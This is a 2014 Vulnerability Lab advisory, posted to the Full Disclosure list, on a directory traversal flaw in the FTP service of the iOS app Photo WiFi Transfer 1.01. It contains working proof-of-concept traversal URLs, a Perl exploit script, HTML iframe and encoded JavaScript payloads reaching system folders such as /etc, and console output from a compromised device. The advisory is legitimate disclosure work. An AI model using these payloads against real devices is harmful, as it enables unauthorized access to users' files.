Photo WiFi Transfer 1.01 - Directory Traversal Vulnerability

[Vulnerability Lab <research () vulnerability-lab com>]

Document Title:
===============
Photo WiFi Transfer 1.01 - Directory Traversal Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1285


Release Date:
=============
2014-07-31


Vulnerability Laboratory ID (VL-ID):
====================================
1286


Common Vulnerability Scoring System:
====================================
6.7


Product & Service Introduction:
===============================
Using this app, you can download photos to a PC or a smartphone from your iPhone through WiFi. The app provides the 
easiest and 
fastest way to do it. Just run the app on the iPhone and open the web browser on your PC or another smart phone. That 
is all 
that you are required to do. It is quite simple. In addition to the web browser, a ftp client application is also 
supported to 
access the photos. Do not pay money for these functions as the app provides all of them without charging. 

(Copy of the Homepage: https://itunes.apple.com/us/app/photo-wifi-transfer/id892772036 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a directory traversal vulnerability in the official BlueFinger 
Photo WiFi Transfer v1.01 iOS mobile application.


Vulnerability Disclosure Timeline:
==================================
2014-07-31: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
BlueFinger Apps
Product: Photo WiFi Transfer - iOS Mobile Web Application (FTP) 1.01


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A directory traversal web vulnerability has been discovered in the official BlueFinger Photo WiFi Transfer v1.01 iOS 
mobile application.
The vulnerability allows remote attackers to bypass the path restriction of a service to access sensitive app-, 
web-server or -device information.

The vulnerability is located in the `ftp` (ftp://localhost:8080) service of the wifi `web-server` module. The issue 
allows an attacker to bypass 
the regular `folder/path` validation mechnism to access sensitive app web-server or iOS -device information. The attack 
vector of the issue is on 
the application-side of the service and to perform malicious request the `GET method` is required to use.

After the start of the web-server by usage of the ftp function, the attacker is able to include 5 more path values 
(../../../../../) to access 
unauthorized higher folders outside the mobile application service. In the analysis we saw that the path change of 5 
directories is required 
to bypass. During the tests we accessed the full app service folder and through the directory traversal to web-server 
configuration files but 
also the parent device directory.

The security risk of the directory traversal web vulnerability is estimated as high with a cvss (common vulnerability 
scoring system) 
count of 6.7. Exploitation of the path traversal web vulnerability requires no privileged web-application user account 
or user interaction. 
Successful exploitation of the directory traversal vulnerability results in mobile application or connected device 
component compromise.

Request Method(s):
                        [+] GET

Vulnerable Module(s):
                        [+] Directory

Vulnerable Parameter(s):
                        [+] path

Affected Module(s):
                        [+] Parent Directory (ftp://localhost:8080/)


Proof of Concept (PoC):
=======================
The directory traversal web vulnerability can be exploited by attackers without privileged application user account and 
user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below 
to continue.

Exception:
50 /private/var/mobile/Applications/CFCEEF6E-AA35-42D6-84EC-BFB518F764B1/Documents/photo/../../etc/passwd No such file 
or directory.

Standard Request:
ftp://localhost:8080/../../Documents/

PoC: Links
ftp://localhost:8080/../../../../../../../../../../../../../../../../etc
ftp://localhost:8080/../../../../../../../../../../../../../../../../usr/
ftp://localhost:8080/../../../../../../../../../../../../../../../../Applications/
ftp://localhost:8080/../../../../../../../../../../../../../../../../System/


Exploit: PoC (PL)
#!/usr/bin/perl
use LWP::Simple;
print "-------------------------------------------\n";
print "-= Photo WiFi Transfer v1.0.1 - PoC Directory Traversal=-\n";
print "-------------------------------------------\n\n";

print "Target(ftp://localhost:8080/)\> ";
chomp($targ = <STDIN>);

print "Path: (/fn25/)\>";
chomp($path=<STDIN>);

$url = "../../../../../../../../etc/";
$page = get("http://".$targ.$path.$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $page\n";


Exploit: PoC (HTML)
<html>
<head><body><title></title>
<iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../etc>
<iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../usr/>
<iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../Applications/>
<iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../System/>
</body></head>
<html>


Exploit: PoC (JS)
<script language=JavaScript>m='%3Chtml%3E%0A%3Chead%3E%3Cbody%3E%3Ctitle%3E%3C/title%3E%0A%3Ciframe%20src%3Dftp%3A//
localhost%3A8080/../../../../../../../../../../../../../../../../etc%3E%0A%3Ciframe%20src%3Dftp%3A//localhost%3A8080/
../../../../../../../../../../../../../../../../usr/%3E%0A%3Ciframe%20src%3Dftp%3A//localhost%3A8080/../../../../../
../../../../../../../../../../../Applications/%3E%0A%3Ciframe%20src%3Dftp%3A//localhost%3A8080/../../../../../../../
../../../../../../../../../System/%3E%0A%3C/body%3E%3C/head%3E%0A%3Chtml%3E';d=unescape(m);document.write(d);</script>


--- PoC Console Logs ---
Applications            14.03.2014      19:06:00
Developer               18.08.2013      06:19:00
Library                 20.10.2013      06:32:00
System                  17.10.2013      08:08:00
bin                     03.07.2014      18:13:00
cores                   18.08.2013      05:56:00
Datei:etc       1 KB    20.10.2013      06:32:00
private                 05.01.2014      22:18:00
sbin                    03.07.2014      18:13:00
Datei:tmp       1 KB    20.10.2013      06:32:00
usr                     20.10.2013      06:23:00
Datei:var       1 KB    20.10.2013      06:32:00

300: ftp://localhost:8080/../../../../../../../../
200: filename content-length last-modified file-type
201: "Applications" 0 Sun%2C%2014%20Mar%202014%2019%3A06%3A00 DIRECTORY 
201: "Developer" 0 Sun%2C%2018%20Aug%202013%2006%3A19%3A00 DIRECTORY 
201: "Library" 0 Sun%2C%2020%20Oct%202013%2006%3A32%3A00 DIRECTORY 
201: "System" 0 Sun%2C%2017%20Oct%202013%2008%3A08%3A00 DIRECTORY 
201: "bin" 0 Sun%2C%2003%20Jul%202014%2018%3A13%3A00 DIRECTORY 
201: "cores" 0 Sun%2C%2018%20Aug%202013%2005%3A56%3A00 DIRECTORY 
201: "etc" 11 Sun%2C%2020%20Oct%202013%2006%3A32%3A00 FILE 
201: "private" 0 Sun%2C%2005%20Jan%202014%2022%3A18%3A00 DIRECTORY 
201: "sbin" 0 Sun%2C%2003%20Jul%202014%2018%3A13%3A00 DIRECTORY 
201: "tmp" 15 Sun%2C%2020%20Oct%202013%2006%3A32%3A00 FILE 
201: "usr" 0 Sun%2C%2020%20Oct%202013%2006%3A23%3A00 DIRECTORY 
201: "var" 11 Sun%2C%2020%20Oct%202013%2006%3A32%3A00 FILE 

Note: The traversal becomes visible after the 5th path/folder request and affects like regular the full app path via 
web-server. (_eTiGb+6)


Solution - Fix & Patch:
=======================
The directory traversal web vulnerability can be patched by a secure filter and restriction mechanism in the GET method 
request of the directory/path name value module.


Security Risk:
==============
The security risk of the directory traversal web vulnerability in the ftp service of the mobile application is 
estimated as high.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm () evolution-sec com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all 
warranties, either 
expressed or implied, including the warranties of merchantability and capability for a particular purpose. 
Vulnerability-Lab or its suppliers 
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or 
special damages, even 
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow 
the exclusion or limitation 
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or 
encourage anybody to break 
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                                      - 
www.evolution-sec.com
Contact:    admin () vulnerability-lab com      - research () vulnerability-lab com                     - admin () 
evolution-sec com
Section:    dev.vulnerability-db.com            - forum.vulnerability-db.com                            - 
magazine.vulnerability-db.com
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab                         - 
youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php            - 
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - vulnerability-lab.com/list-of-bug-bounty-programs.php - 
vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability 
Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit 
our material contact 
(admin () vulnerability-lab com or research () vulnerability-lab com) to get a permission.

                                Copyright © 2014 | Vulnerability Laboratory [Evolution Security]



-- 
VULNERABILITY LABORATORY RESEARCH TEAM
DOMAIN: www.vulnerability-lab.com
CONTACT: research () vulnerability-lab com



_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/